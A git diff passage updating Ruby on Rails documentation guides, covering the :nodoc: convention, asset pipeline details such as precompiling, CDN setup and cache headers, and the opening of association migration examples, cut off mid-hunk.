+If you thought, "this method looks like a public class method for `ActiveRecord::Core`", you were right. But actually the Rails team doesn't want users to rely on this method. So they mark it as `:nodoc:` and it's removed from public documentation. The reasoning behind this is to allow the team to change these methods according to their internal needs across releases as they see fit. The name of this method could change, or the return value, or this entire class may disappear; there's no guarantee and so you shouldn't depend on this API in your plugins or applications. Otherwise, you risk your app or gem breaking when you upgrade to a newer release of Rails.
+
+As a contributor, it's important to think about whether this API is meant for end-user consumption. The Rails team is committed to not making any breaking changes to public API across releases without going through a full deprecation cycle. It's recommended that you `:nodoc:` any of your internal methods/classes unless they're already private (meaning visibility), in which case it's internal by default. Once the API stabilizes the visibility can change, but changing public API is much harder due to backwards compatibility.
+
+A class or module is marked with `:nodoc:` to indicate that all methods are internal API and should never be used directly.
+
+If you come across an existing `:nodoc:` you should tread lightly. Consider asking someone from the core team or author of the code before removing it. This should almost always happen through a pull request instead of the docrails project.
+
+A `:nodoc:` should never be added simply because a method or class is missing documentation. There may be an instance where an internal public method wasn't given a `:nodoc:` by mistake, for example when switching a method from private to public visibility. When this happens it should be discussed over a PR on a case-by-case basis and never committed directly to docrails.
+
+To summarize, the Rails team uses `:nodoc:` to mark publicly visible methods and classes for internal use; changes to the visibility of API should be considered carefully and discussed over a pull request first.
+
+Regarding the Rails Stack
+-------------------------
+
+When documenting parts of Rails API, it's important to remember all of the
+pieces that go into the Rails stack.
+
+This means that behavior may change depending on the scope or context of the
+method or class you're trying to document.
+
+In various places there is different behavior when you take the entire stack
+into account, one such example is
+`ActionView::Helpers::AssetTagHelper#image_tag`:
+
+```ruby
+# image_tag("icon.png")
+#   # => <img alt="Icon" src="/assets/icon.png" />
+```
+
+Although the default behavior for `#image_tag` is to always return
+`/images/icon.png`, we take into account the full Rails stack (including the
+Asset Pipeline) we may see the result seen above.
+
+We're only concerned with the behavior experienced when using the full default
+Rails stack.
+
+In this case, we want to document the behavior of the _framework_, and not just
+this specific method.
+
+If you have a question on how the Rails team handles certain API, don't hesitate to open a ticket or send a patch to the [issue tracker](https://github.com/rails/rails/issues).
diff --git a/guides/source/asset_pipeline.md b/guides/source/asset_pipeline.md
index 72aff1e0dd..52ea605a72 100644
--- a/guides/source/asset_pipeline.md
+++ b/guides/source/asset_pipeline.md
@@ -1,3 +1,5 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 The Asset Pipeline
 ==================
 
@@ -26,14 +28,14 @@ been extracted out of the framework into the
 
 The asset pipeline is enabled by default.
 
-You can disable the asset pipeline while creating a new application by 
+You can disable the asset pipeline while creating a new application by
 passing the `--skip-sprockets` option.
 
 ```bash
 rails new appname --skip-sprockets
 ```
 
-Rails 4 automatically adds the `sass-rails`, `coffee-rails` and `uglifier` 
+Rails 4 automatically adds the `sass-rails`, `coffee-rails` and `uglifier`
 gems to your Gemfile, which are used by Sprockets for asset compression:
 
 ```ruby
@@ -42,7 +44,7 @@ gem 'uglifier'
 gem 'coffee-rails'
 ```
 
-Using the `--skip-sprockets` option will prevent Rails 4 from adding 
+Using the `--skip-sprockets` option will prevent Rails 4 from adding
 `sass-rails` and `uglifier` to Gemfile, so if you later want to enable
 the asset pipeline you will have to add those gems to your Gemfile. Also,
 creating an application with the `--skip-sprockets` option will generate
@@ -54,13 +56,13 @@ the comment operator on that line to later enable the asset pipeline:
 # require "sprockets/railtie"
 ```
 
-To set asset compression methods, set the appropriate configuration options 
+To set asset compression methods, set the appropriate configuration options
 in `production.rb` - `config.assets.css_compressor` for your CSS and
-`config.assets.js_compressor` for your Javascript:
+`config.assets.js_compressor` for your JavaScript:
 
 ```ruby
 config.assets.css_compressor = :yui
-config.assets.js_compressor = :uglify
+config.assets.js_compressor = :uglifier
 ```
 
 NOTE: The `sass-rails` gem is automatically used for CSS compression if included
@@ -124,19 +126,22 @@ with a built-in helper. In the source the generated code looked like this:
 The query string strategy has several disadvantages:
 
 1. **Not all caches will reliably cache content where the filename only differs by
-query parameters**<br>
+query parameters**
+
     [Steve Souders recommends](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/),
  "...avoiding a querystring for cacheable resources". He found that in this
 case 5-20% of requests will not be cached. Query strings in particular do not
 work at all with some CDNs for cache invalidation.
 
-2. **The file name can change between nodes in multi-server environments.**<br>
+2. **The file name can change between nodes in multi-server environments.**
+
     The default query string in Rails 2.x is based on the modification time of
 the files. When assets are deployed to a cluster, there is no guarantee that the
 timestamps will be the same, resulting in different values being used depending
 on which server handles the request.
 
-3. **Too much cache invalidation**<br>
+3. **Too much cache invalidation**
+
     When static assets are deployed with each new release of code, the mtime
 (time of last modification) of _all_ these files changes, forcing all remote
 clients to fetch them again, even when the content of those assets has not changed.
@@ -144,15 +149,14 @@ clients to fetch them again, even when the content of those assets has not chang
 Fingerprinting fixes these problems by avoiding query strings, and by ensuring
 that filenames are consistent based on their content.
 
-Fingerprinting is enabled by default for production and disabled for all other
+Fingerprinting is enabled by default for both the development and production 
 environments. You can enable or disable it in your configuration through the
 `config.assets.digest` option.
 
 More reading:
 
 * [Optimize caching](http://code.google.com/speed/page-speed/docs/caching.html)
-* [Revving Filenames: don't use
-* querystring](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/)
+* [Revving Filenames: don't use querystring](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/)
 
 
 How to Use the Asset Pipeline
@@ -164,9 +168,9 @@ pipeline, the preferred location for these assets is now the `app/assets`
 directory. Files in this directory are served by the Sprockets middleware.
 
 Assets can still be placed in the `public` hierarchy. Any assets under `public`
-will be served as static files by the application or web server. You should use
-`app/assets` for files that must undergo some pre-processing before they are
-served.
+will be served as static files by the application or web server when
+`config.serve_static_files` is set to true. You should use `app/assets` for
+files that must undergo some pre-processing before they are served.
 
 In production, Rails precompiles these files to `public/assets` by default. The
 precompiled copies are then served as static assets by the web server. The files
@@ -178,12 +182,12 @@ When you generate a scaffold or a controller, Rails also generates a JavaScript
 file (or CoffeeScript file if the `coffee-rails` gem is in the `Gemfile`) and a
 Cascading Style Sheet file (or SCSS file if `sass-rails` is in the `Gemfile`)
 for that controller. Additionally, when generating a scaffold, Rails generates
-the file scaffolds.css (or scaffolds.css.scss if `sass-rails` is in the
+the file scaffolds.css (or scaffolds.scss if `sass-rails` is in the
 `Gemfile`.)
 
 For example, if you generate a `ProjectsController`, Rails will also add a new
-file at `app/assets/javascripts/projects.js.coffee` and another at
-`app/assets/stylesheets/projects.css.scss`. By default these files will be ready
+file at `app/assets/javascripts/projects.coffee` and another at
+`app/assets/stylesheets/projects.scss`. By default these files will be ready
 to use by your application immediately using the `require_tree` directive. See
 [Manifest Files and Directives](#manifest-files-and-directives) for more details
 on require_tree.
@@ -199,18 +203,13 @@ will result in your assets being included more than once.
 
 WARNING: When using asset precompilation, you will need to ensure that your
 controller assets will be precompiled when loading them on a per page basis. By
-default .coffee and .scss files will not be precompiled on their own. This will
-result in false positives during development as these files will work just fine
-since assets are compiled on the fly in development mode. When running in
-production, however, you will see 500 errors since live compilation is turned
-off by default. See [Precompiling Assets](#precompiling-assets) for more
-information on how precompiling works.
+default .coffee and .scss files will not be precompiled on their own. See
+[Precompiling Assets](#precompiling-assets) for more information on how
+precompiling works.
 
 NOTE: You must have an ExecJS supported runtime in order to use CoffeeScript.
 If you are using Mac OS X or Windows, you have a JavaScript runtime installed in
-your operating system. Check
-[ExecJS](https://github.com/sstephenson/execjs#readme) documentation to know all
-supported JavaScript runtimes.
+your operating system. Check [ExecJS](https://github.com/sstephenson/execjs#readme) documentation to know all supported JavaScript runtimes.
 
 You can also disable generation of controller specific asset files by adding the
 following to your `config/application.rb` configuration:
@@ -229,11 +228,13 @@ Pipeline assets can be placed inside an application in one of three locations:
 * `app/assets` is for assets that are owned by the application, such as custom
 images, JavaScript files or stylesheets.
 
-* `lib/assets` is for your own libraries' code that doesn't really fit into the 
+* `lib/assets` is for your own libraries' code that doesn't really fit into the
 scope of the application or those libraries which are shared across applications.
 
 * `vendor/assets` is for assets that are owned by outside entities, such as
-code for JavaScript plugins and CSS frameworks.
+code for JavaScript plugins and CSS frameworks. Keep in mind that third party
+code with references to other files also processed by the asset Pipeline (images,
+stylesheets, etc.), will need to be rewritten to use helpers like `asset_path`.
 
 WARNING: If you are upgrading from Rails 3, please take into account that assets
 under `lib/assets` or `vendor/assets` are available for inclusion via the
@@ -246,7 +247,7 @@ When a file is referenced from a manifest or a helper, Sprockets searches the
 three default asset locations for it.
 
 The default locations are: the `images`, `javascripts` and `stylesheets`
-directories under the `apps/assets` folder, but these subdirectories
+directories under the `app/assets` folder, but these subdirectories
 are not special - any path under `assets/*` will be searched.
 
 For example, these files:
@@ -303,7 +304,7 @@ Sprockets uses files named `index` (with the relevant extensions) for a special
 purpose.
 
 For example, if you have a jQuery library with many modules, which is stored in
-`lib/assets/library_name`, the file `lib/assets/library_name/index.js` serves as
+`lib/assets/javascripts/library_name`, the file `lib/assets/javascripts/library_name/index.js` serves as
 the manifest for all files in this library. This file could include a list of
 all the required files in order, or a simple `require_tree` directive.
 
@@ -351,8 +352,8 @@ Alternatively, a request for a file with an MD5 hash such as
 way. How these hashes are generated is covered in the [In
 Production](#in-production) section later on in this guide.
 
-Sprockets will also look through the paths specified in `config.assets.paths`, 
-which includes the standard application paths and any paths added by Rails 
+Sprockets will also look through the paths specified in `config.assets.paths`,
+which includes the standard application paths and any paths added by Rails
 engines.
 
 Images can also be organized into subdirectories if required, and then can be
@@ -405,11 +406,10 @@ JavaScript and stylesheet.
 * `image-url("rails.png")` becomes `url(/assets/rails.png)`
 * `image-path("rails.png")` becomes `"/assets/rails.png"`.
 
-The more generic form can also be used but the asset path and class must both be
-specified:
+The more generic form can also be used:
 
-* `asset-url("rails.png", image)` becomes `url(/assets/rails.png)`
-* `asset-path("rails.png", image)` becomes `"/assets/rails.png"`
+* `asset-url("rails.png")` becomes `url(/assets/rails.png)`
+* `asset-path("rails.png")` becomes `"/assets/rails.png"`
 
 #### JavaScript/CoffeeScript and ERB
 
@@ -424,7 +424,7 @@ $('#logo').attr({ src: "<%= asset_path('logo.png') %>" });
 This writes the path to the particular asset being referenced.
 
 Similarly, you can use the `asset_path` helper in CoffeeScript files with `erb`
-extension (e.g., `application.js.coffee.erb`):
+extension (e.g., `application.coffee.erb`):
 
 ```js
 $('#logo').attr src: "<%= asset_path('logo.png') %>"
@@ -495,15 +495,13 @@ The directives that work in JavaScript files also work in stylesheets
 one, requiring all stylesheets from the current directory.
 
 In this example, `require_self` is used. This puts the CSS contained within the
-file (if any) at the precise location of the `require_self` call. If
-`require_self` is called more than once, only the last call is respected.
+file (if any) at the precise location of the `require_self` call.
+
+NOTE. If you want to use multiple Sass files, you should generally use the [Sass `@import` rule](http://sass-lang.com/docs/yardoc/file.SASS_REFERENCE.html#import)
+instead of these Sprockets directives. When using Sprockets directives, Sass files exist within
+their own scope, making variables or mixins only available within the document they were defined in.
 
-NOTE. If you want to use multiple Sass files, you should generally use the [Sass
-`@import`
-rule](http://sass-lang.com/docs/yardoc/file.SASS_REFERENCE.html#import) instead
-of these Sprockets directives. Using Sprockets directives all Sass files exist
-within their own scope, making variables or mixins only available within the
-document they were defined in.
+You can do file globbing as well using `@import "*"`, and `@import "**/*"` to add the whole tree which is equivalent to how `require_tree` works. Check the [sass-rails documentation](https://github.com/rails/sass-rails#features) for more info and important caveats.
 
 You can have as many manifest files as you need. For example, the `admin.css`
 and `admin.js` manifest could contain the JS and CSS files that are used for the
@@ -527,10 +525,10 @@ The file extensions used on an asset determine what preprocessing is applied.
 When a controller or a scaffold is generated with the default Rails gemset, a
 CoffeeScript file and a SCSS file are generated in place of a regular JavaScript
 and CSS file. The example used before was a controller called "projects", which
-generated an `app/assets/javascripts/projects.js.coffee` and an
-`app/assets/stylesheets/projects.css.scss` file.
+generated an `app/assets/javascripts/projects.coffee` and an
+`app/assets/stylesheets/projects.scss` file.
 
-In development mode, or if the asset pipeline is disabled, when these files are 
+In development mode, or if the asset pipeline is disabled, when these files are
 requested they are processed by the processors provided by the `coffee-script`
 and `sass` gems and then sent back to the browser as JavaScript and CSS
 respectively. When asset pipelining is enabled, these files are preprocessed and
@@ -540,13 +538,13 @@ web server.
 Additional layers of preprocessing can be requested by adding other extensions,
 where each extension is processed in a right-to-left manner. These should be
 used in the order the processing should be applied. For example, a stylesheet
-called `app/assets/stylesheets/projects.css.scss.erb` is first processed as ERB,
+called `app/assets/stylesheets/projects.scss.erb` is first processed as ERB,
 then SCSS, and finally served as CSS. The same applies to a JavaScript file -
-`app/assets/javascripts/projects.js.coffee.erb` is processed as ERB, then
+`app/assets/javascripts/projects.coffee.erb` is processed as ERB, then
 CoffeeScript, and served as JavaScript.
 
 Keep in mind the order of these preprocessors is important. For example, if
-you called your JavaScript file `app/assets/javascripts/projects.js.erb.coffee`
+you called your JavaScript file `app/assets/javascripts/projects.erb.coffee`
 then it would be processed with the CoffeeScript interpreter first, which
 wouldn't understand ERB and therefore you would run into problems.
 
@@ -575,6 +573,31 @@ would generate this HTML:
 
 The `body` param is required by Sprockets.
 
+### Runtime Error Checking
+
+By default the asset pipeline will check for potential errors in development mode during
+runtime. To disable this behavior you can set:
+
+```ruby
+config.assets.raise_runtime_errors = false
+```
+
+When this option is true, the asset pipeline will check if all the assets loaded
+in your application are included in the `config.assets.precompile` list.
+If `config.assets.digest` is also true, the asset pipeline will require that
+all requests for assets include digests.
+
+### Turning Digests Off
+
+You can turn off digests by updating `config/environments/development.rb` to
+include:
+
+```ruby
+config.assets.digest = false
+```
+
+When this option is true, digests will be generated for asset URLs.
+
 ### Turning Debugging Off
 
 You can turn off debug mode by updating `config/environments/development.rb` to
@@ -609,7 +632,7 @@ Debug mode can also be enabled in Rails helper methods:
 
 The `:debug` option is redundant if debug mode is already on.
 
-You can also enable compression in development mode as a sanity check, and 
+You can also enable compression in development mode as a sanity check, and
 disable it on-demand as required for debugging.
 
 In Production
@@ -667,7 +690,7 @@ information on compiling locally.
 The rake task is:
 
 ```bash
-$ RAILS_ENV=production bundle exec rake assets:precompile
+$ RAILS_ENV=production bin/rake assets:precompile
 ```
 
 Capistrano (v2.15.1 and above) includes a recipe to handle this in deployment.
@@ -690,7 +713,7 @@ The default matcher for compiling files includes `application.js`,
 automatically) from `app/assets` folders including your gems:
 
 ```ruby
-[ Proc.new { |path, fn| fn =~ /app\/assets/ && !%w(.js .css).include?(File.extname(path)) },
+[ Proc.new { |filename, path| path =~ /app\/assets/ && !%w(.js .css).include?(File.extname(filename)) },
 /application.(css|js)$/ ]
 ```
 
@@ -700,25 +723,25 @@ JS/CSS is excluded, as well as raw JS/CSS files; for example, `.coffee` and
 `.scss` files are **not** automatically included as they compile to JS/CSS.
 
 If you have other manifests or individual stylesheets and JavaScript files to
-include, you can add them to the `precompile` array in `config/application.rb`:
+include, you can add them to the `precompile` array in `config/initializers/assets.rb`:
 
 ```ruby
-config.assets.precompile += ['admin.js', 'admin.css', 'swfObject.js']
+Rails.application.config.assets.precompile += ['admin.js', 'admin.css', 'swfObject.js']
 ```
 
 Or, you can opt to precompile all assets with something like this:
 
 ```ruby
-# config/application.rb
-config.assets.precompile << Proc.new do |path|
+# config/initializers/assets.rb
+Rails.application.config.assets.precompile << Proc.new do |path|
   if path =~ /\.(css|js)\z/
     full_path = Rails.application.assets.resolve(path).to_path
     app_assets_path = Rails.root.join('app', 'assets').to_path
     if full_path.starts_with? app_assets_path
-      puts "including asset: " + full_path
+      logger.info "including asset: " + full_path
       true
     else
-      puts "excluding asset: " + full_path
+      logger.info "excluding asset: " + full_path
       false
     end
   else
@@ -741,7 +764,7 @@ typical manifest file looks like:
 "digest":"12b3c7dd74d2e9df37e7cbb1efa76a6d"},"application-1c5752789588ac18d7e1a50b1f0fd4c2.css":{"logical_path":"application.css","mtime":"2013-07-26T22:56:17-07:00","size":1591,
 "digest":"1c5752789588ac18d7e1a50b1f0fd4c2"},"favicon-a9c641bf2b81f0476e876f7c5e375969.ico":{"logical_path":"favicon.ico","mtime":"2013-07-26T23:00:10-07:00","size":1406,
 "digest":"a9c641bf2b81f0476e876f7c5e375969"},"my_image-231a680f23887d9dd70710ea5efd3c62.png":{"logical_path":"my_image.png","mtime":"2013-07-26T23:00:27-07:00","size":6646,
-"digest":"231a680f23887d9dd70710ea5efd3c62"}},"assets"{"application.js":
+"digest":"231a680f23887d9dd70710ea5efd3c62"}},"assets":{"application.js":
 "application-723d1be6cc741a3aabb1cec24276d681.js","application.css":
 "application-1c5752789588ac18d7e1a50b1f0fd4c2.css",
 "favicon.ico":"favicona9c641bf2b81f0476e876f7c5e375969.ico","my_image.png":
@@ -757,7 +780,7 @@ exception indicating the name of the missing file(s).
 
 #### Far-future Expires Header
 
-Precompiled assets exist on the filesystem and are served directly by your web
+Precompiled assets exist on the file system and are served directly by your web
 server. They do not have far-future headers by default, so to get the benefit of
 fingerprinting you'll have to update your server configuration to add those
 headers.
@@ -769,13 +792,15 @@ For Apache:
 # `mod_expires` to be enabled.
 <Location /assets/>
   # Use of ETag is discouraged when Last-Modified is present
-  Header unset ETag FileETag None
+  Header unset ETag
+  FileETag None
   # RFC says only cache for 1 year
-  ExpiresActive On ExpiresDefault "access plus 1 year"
+  ExpiresActive On
+  ExpiresDefault "access plus 1 year"
 </Location>
 ```
 
-For nginx:
+For NGINX:
 
 ```nginx
 location ~ ^/assets/ {
@@ -797,7 +822,7 @@ compression ratio, thus reducing the size of the data transfer to the minimum.
 On the other hand, web servers can be configured to serve compressed content
 directly from disk, rather than deflating non-compressed files themselves.
 
-Nginx is able to do this automatically enabling `gzip_static`:
+NGINX is able to do this automatically enabling `gzip_static`:
 
 ```nginx
 location ~ ^/(assets)/  {
@@ -816,7 +841,7 @@ the module compiled. Otherwise, you may need to perform a manual compilation:
 ./configure --with-http_gzip_static_module
 ```
 
-If you're compiling nginx with Phusion Passenger you'll need to pass that option
+If you're compiling NGINX with Phusion Passenger you'll need to pass that option
 when prompted.
 
 A robust configuration for Apache is possible but tricky; please Google around.
@@ -835,10 +860,12 @@ duplication of work.
 Local compilation allows you to commit the compiled files into source control,
 and deploy as normal.
 
-There are two caveats:
+There are three caveats:
 
 * You must not run the Capistrano deployment task that precompiles assets.
-* You must change the following two application configuration settings.
+* You must ensure any necessary compressors or minifiers are
+available on your development system.
+* You must change the following application configuration setting:
 
 In `config/environments/development.rb`, place the following line:
 
@@ -852,9 +879,6 @@ development mode, and pass all requests to Sprockets. The prefix is still set to
 would serve the precompiled assets from `/assets` in development, and you would
 not see any local changes until you compile assets again.
 
-You will also need to ensure any necessary compressors or minifiers are
-available on your development system.
-
 In practice, this will allow you to precompile locally, have those files in your
 working tree, and commit those files to source control when needed.  Development
 mode will work as expected.
@@ -894,22 +918,213 @@ end
 
 ### CDNs
 
-If your assets are being served by a CDN, ensure they don't stick around in your
-cache forever. This can cause problems. If you use
-`config.action_controller.perform_caching = true`, Rack::Cache will use
-`Rails.cache` to store assets. This can cause your cache to fill up quickly.
+CDN stands for [Content Delivery
+Network](http://en.wikipedia.org/wiki/Content_delivery_network), they are
+primarily designed to cache assets all over the world so that when a browser
+requests the asset, a cached copy will be geographically close to that browser.
+If you are serving assets directly from your Rails server in production, the
+best practice is to use a CDN in front of your application.
+
+A common pattern for using a CDN is to set your production application as the
+"origin" server. This means when a browser requests an asset from the CDN and
+there is a cache miss, it will grab the file from your server on the fly and
+then cache it. For example if you are running a Rails application on
+`example.com` and have a CDN configured at `mycdnsubdomain.fictional-cdn.com`,
+then when a request is made to `mycdnsubdomain.fictional-
+cdn.com/assets/smile.png`, the CDN will query your server once at
+`example.com/assets/smile.png` and cache the request. The next request to the
+CDN that comes in to the same URL will hit the cached copy. When the CDN can
+serve an asset directly the request never touches your Rails server. Since the
+assets from a CDN are geographically closer to the browser, the request is
+faster, and since your server doesn't need to spend time serving assets, it can
+focus on serving application code as fast as possible.
+
+#### Set up a CDN to Serve Static Assets
+
+To set up your CDN you have to have your application running in production on
+the internet at a publically available URL, for example `example.com`. Next
+you'll need to sign up for a CDN service from a cloud hosting provider. When you
+do this you need to configure the "origin" of the CDN to point back at your
+website `example.com`, check your provider for documentation on configuring the
+origin server.
+
+The CDN you provisioned should give you a custom subdomain for your application
+such as `mycdnsubdomain.fictional-cdn.com` (note fictional-cdn.com is not a
+valid CDN provider at the time of this writing). Now that you have configured
+your CDN server, you need to tell browsers to use your CDN to grab assets
+instead of your Rails server directly. You can do this by configuring Rails to
+set your CDN as the asset host instead of using a relative path. To set your
+asset host in Rails, you need to set `config.action_controller.asset_host` in
+`config/production.rb`:
+
+```ruby
+config.action_controller.asset_host = 'mycdnsubdomain.fictional-cdn.com'
+```
+
+NOTE: You only need to provide the "host", this is the subdomain and root
+domain, you do not need to specify a protocol or "scheme" such as `http://` or
+`https://`. When a web page is requested, the protocol in the link to your asset
+that is generated will match how the webpage is accessed by default.
+
+You can also set this value through an [environment
+variable](http://en.wikipedia.org/wiki/Environment_variable) to make running a
+staging copy of your site easier:
+
+```
+config.action_controller.asset_host = ENV['CDN_HOST']
+```
+
+
+
+Note: You would need to set `CDN_HOST` on your server to `mycdnsubdomain
+.fictional-cdn.com` for this to work.
+
+Once you have configured your server and your CDN when you serve a webpage that
+has an asset:
+
+```erb
+<%= asset_path('smile.png') %>
+```
+
+Instead of returning a path such as `/assets/smile.png` (digests are left out
+for readability). The URL generated will have the full path to your CDN.
+
+```
+http://mycdnsubdomain.fictional-cdn.com/assets/smile.png
+```
+
+If the CDN has a copy of `smile.png` it will serve it to the browser and your
+server doesn't even know it was requested. If the CDN does not have a copy it
+will try to find it a the "origin" `example.com/assets/smile.png` and then store
+it for future use.
+
+If you want to serve only some assets from your CDN, you can use custom `:host`
+option your asset helper, which overwrites value set in
+`config.action_controller.asset_host`.
 
-Every cache is different, so evaluate how your CDN handles caching and make sure
-that it plays nicely with the pipeline. You may find quirks related to your
-specific set up, you may not. The defaults nginx uses, for example, should give
-you no problems when used as an HTTP cache.
+```erb
+<%= asset_path 'image.png', host: 'mycdnsubdomain.fictional-cdn.com' %>
+```
+
+#### Customize CDN Caching Behavior
+
+A CDN works by caching content. If the CDN has stale or bad content, then it is
+hurting rather than helping your application. The purpose of this section is to
+describe general caching behavior of most CDNs, your specific provider may
+behave slightly differently.
+
+##### CDN Request Caching
+
+While a CDN is described as being good for caching assets, in reality caches the
+entire request. This includes the body of the asset as well as any headers. The
+most important one being `Cache-Control` which tells the CDN (and web browsers)
+how to cache contents. This means that if someone requests an asset that does
+not exist `/assets/i-dont-exist.png` and your Rails application returns a 404,
+then your CDN will likely cache the 404 page if a valid `Cache-Control` header
+is present.
+
+##### CDN Header Debugging
+
+One way to check the headers are cached properly in your CDN is by using [curl](
+http://explainshell.com/explain?cmd=curl+-I+http%3A%2F%2Fwww.example.com). You
+can request the headers from both your server and your CDN to verify they are
+the same:
+
+```
+$ curl -I http://www.example/assets/application-
+d0e099e021c95eb0de3615fd1d8c4d83.css
+HTTP/1.1 200 OK
+Server: Cowboy
+Date: Sun, 24 Aug 2014 20:27:50 GMT
+Connection: keep-alive
+Last-Modified: Thu, 08 May 2014 01:24:14 GMT
+Content-Type: text/css
+Cache-Control: public, max-age=2592000
+Content-Length: 126560
+Via: 1.1 vegur
+```
+
+Versus the CDN copy.
+
+```
+$ curl -I http://mycdnsubdomain.fictional-cdn.com/application-
+d0e099e021c95eb0de3615fd1d8c4d83.css
+HTTP/1.1 200 OK Server: Cowboy Last-
+Modified: Thu, 08 May 2014 01:24:14 GMT Content-Type: text/css
+Cache-Control:
+public, max-age=2592000
+Via: 1.1 vegur
+Content-Length: 126560
+Accept-Ranges:
+bytes
+Date: Sun, 24 Aug 2014 20:28:45 GMT
+Via: 1.1 varnish
+Age: 885814
+Connection: keep-alive
+X-Served-By: cache-dfw1828-DFW
+X-Cache: HIT
+X-Cache-Hits:
+68
+X-Timer: S1408912125.211638212,VS0,VE0
+```
+
+Check your CDN documentation for any additional information they may provide
+such as `X-Cache` or for any additional headers they may add.
+
+##### CDNs and the Cache-Control Header
+
+The [cache control
+header](http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9) is a W3C
+specification that describes how a request can be cached. When no CDN is used, a
+browser will use this information to cache contents. This is very helpful for
+assets that are not modified so that a browser does not need to re-download a
+website's CSS or javascript on every request. Generally we want our Rails server
+to tell our CDN (and browser) that the asset is "public", that means any cache
+can store the request. Also we commonly want to set `max-age` which is how long
+the cache will store the object before invalidating the cache. The `max-age`
+value is set to seconds with a maximum possible value of `31536000` which is one
+year. You can do this in your rails application by setting
+
+```
+config.static_cache_control = "public, max-age=31536000"
+```
+
+Now when your application serves an asset in production, the CDN will store the
+asset for up to a year. Since most CDNs also cache headers of the request, this
+`Cache-Control` will be passed along to all future browsers seeking this asset,
+the browser then knows that it can store this asset for a very long time before
+needing to re-request it.
+
+##### CDNs and URL based Cache Invalidation
+
+Most CDNs will cache contents of an asset based on the complete URL. This means
+that a request to
+
+```
+http://mycdnsubdomain.fictional-cdn.com/assets/smile-123.png
+```
+
+Will be a completely different cache from
+
+```
+http://mycdnsubdomain.fictional-cdn.com/assets/smile.png
+```
+
+If you want to set far future `max-age` in your `Cache-Control` (and you do),
+then make sure when you change your assets that your cache is invalidated. For
+example when changing the smiley face in an image from yellow to blue, you want
+all visitors of your site to get the new blue face. When using a CDN with the
+Rails asset pipeline `config.assets.digest` is set to true by default so that
+each asset will have a different file name when it is changed. This way you
+don't have to ever manually invalidate any items in your cache. By using a
+different unique asset name instead, your users get the latest asset.
 
 Customizing the Pipeline
 ------------------------
 
 ### CSS Compression
 
-There is currently one option for compressing CSS, YUI. The [YUI CSS
+One of the options for compressing CSS is YUI. The [YUI CSS
 compressor](http://yui.github.io/yuicompressor/css.html) provides
 minification.
 
@@ -919,6 +1134,11 @@ gem.
 ```ruby
 config.assets.css_compressor = :yui
 ```
+The other option for compressing CSS if you have the sass-rails gem installed is
+
+```ruby
+config.assets.css_compressor = :sass
+```
 
 ### JavaScript Compression
 
@@ -989,14 +1209,15 @@ The X-Sendfile header is a directive to the web server to ignore the response
 from the application, and instead serve a specified file from disk. This option
 is off by default, but can be enabled if your server supports it. When enabled,
 this passes responsibility for serving the file to the web server, which is
-faster.
+faster. Have a look at [send_file](http://api.rubyonrails.org/classes/ActionController/DataStreaming.html#method-i-send_file)
+on how to use this feature.
 
-Apache and nginx support this option, which can be enabled in
+Apache and NGINX support this option, which can be enabled in
 `config/environments/production.rb`:
 
 ```ruby
-# config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache
-# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx
+# config.action_dispatch.x_sendfile_header = "X-Sendfile" # for Apache
+# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for NGINX
 ```
 
 WARNING: If you are upgrading an existing application and intend to use this
@@ -1004,6 +1225,10 @@ option, take care to paste this configuration option only into `production.rb`
 and any other environments you define with production behavior (not
 `application.rb`).
 
+TIP: For further details have a look at the docs of your production web server:
+- [Apache](https://tn123.org/mod_xsendfile/)
+- [NGINX](http://wiki.nginx.org/XSendfile)
+
 Assets Cache Store
 ------------------
 
@@ -1022,6 +1247,14 @@ cache store.
 config.assets.cache_store = :memory_store, { size: 32.megabytes }
 ```
 
+To disable the assets cache store:
+
+```ruby
+config.assets.configure do |env|
+  env.cache = ActiveSupport::Cache.lookup_store(:null_store)
+end
+```
+
 Adding Assets to Your Gems
 --------------------------
 
@@ -1040,17 +1273,22 @@ Making Your Library or Gem a Pre-Processor
 As Sprockets uses [Tilt](https://github.com/rtomayko/tilt) as a generic
 interface to different templating engines, your gem should just implement the
 Tilt template protocol. Normally, you would subclass `Tilt::Template` and
-reimplement `evaluate` method to return final output. Template source is stored
-at `@code`. Have a look at
+reimplement the `prepare` method, which initializes your template, and the
+`evaluate` method, which returns the processed source. The original source is
+stored in `data`. Have a look at
 [`Tilt::Template`](https://github.com/rtomayko/tilt/blob/master/lib/tilt/template.rb)
 sources to learn more.
 
 ```ruby
 module BangBang
   class Template < ::Tilt::Template
+    def prepare
+      # Do any initialization here
+    end
+
     # Adds a "!" to original template.
     def evaluate(scope, locals, &block)
-      "#{@code}!"
+      "#{data}!"
     end
   end
 end
@@ -1111,9 +1349,9 @@ config.assets.digest = true
 ```
 
 Rails 4 no longer sets default config values for Sprockets in `test.rb`, so
-`test.rb` now requies Sprockets configuration. The old defaults in the test
-environment are: `config.assets.compile = true`, `config.assets.compress =
-false`, `config.assets.debug = false` and `config.assets.digest = false`.
+`test.rb` now requires Sprockets configuration. The old defaults in the test
+environment are: `config.assets.compile = true`, `config.assets.compress = false`,
+`config.assets.debug = false` and `config.assets.digest = false`.
 
 The following should also be added to `Gemfile`:
 
diff --git a/guides/source/association_basics.md b/guides/source/association_basics.md
index c58dd2e90a..8633cc4f10 100644
--- a/guides/source/association_basics.md
+++ b/guides/source/association_basics.md
@@ -1,3 +1,5 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 Active Record Associations
 ==========================
 
@@ -101,13 +103,13 @@ class CreateOrders < ActiveRecord::Migration
   def change
     create_table :customers do |t|
       t.string :name
-      t.timestamps
+      t.timestamps null: false
     end
 
     create_table :orders do |t|
-      t.belongs_to :customer
+      t.belongs_to :customer, index: true
       t.datetime :order_date
-      t.timestamps
+      t.timestamps null: false
     end
   end
 end
@@ -132,13 +134,13 @@ class CreateSuppliers < ActiveRecord::Migration
   def change
     create_table :suppliers do |t|
       t.string :name
-      t.timestamps
+      t.timestamps null: false
     end
 
     create_table :accounts do |t|
-      t.belongs_to :supplier
